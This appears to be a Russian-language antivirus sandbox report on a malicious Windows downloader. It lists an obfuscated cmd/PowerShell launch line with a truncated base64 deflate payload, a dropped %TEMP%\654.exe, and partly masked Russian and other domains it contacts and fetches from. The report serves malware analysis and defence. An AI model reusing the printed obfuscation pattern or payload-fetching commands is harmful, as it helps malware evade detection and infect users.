Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' <SYSTEM32>\CmD /C "sET djCFB= ( New-ObJecT sysTEm.io.comPREssIoN.dEfLATEStREaM( [iO.MemOrYSTReAm][COnVErt]::fromBASe64STRInG('NZBda8IwFED/Sh8CUZzpw9SpoaDo3MThx2QMx15qvFvSpklJUmMV//tama/3nHv...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\654.exe
Сетевая активность
Подключается к
- 'hu##eler.ru':80
- 'hu##eler.ru':443
- 'ro#####curityinc.com':80
TCP
Запросы HTTP GET
- http://www.hu##eler.ru/E4L4Aymxd
- http://ro#####curityinc.com/K87nKS9K
Другие
- 'hu##eler.ru':443
UDP
- DNS ASK st###nikms.ru
- DNS ASK hu##eler.ru
- DNS ASK su###pipe.ru
- DNS ASK hl###utters.nl
- DNS ASK ro#####curityinc.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' <SYSTEM32>\CmD /C "sET djCFB= ( New-ObJecT sysTEm.io.comPREssIoN.dEfLATEStREaM( [iO.MemOrYSTReAm][COnVErt]::fromBASe64STRInG('NZBda8IwFED/Sh8CUZzpw9SpoaDo3MThx2QMx15qvFvSpklJUmMV//tama/3nHv...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' ( & ( \"{1}{0}\"-f 'TeM','i') ( \"{0}{1}{2}\" -f 'ENv:dj','c','Fb' ) ).\"va`LUe\" | .(( & ( 'gv') (\"{0}{1}\" -f'*Md','r*' ) ).\"N`AMe\"[3,11,2]-joIn'' )
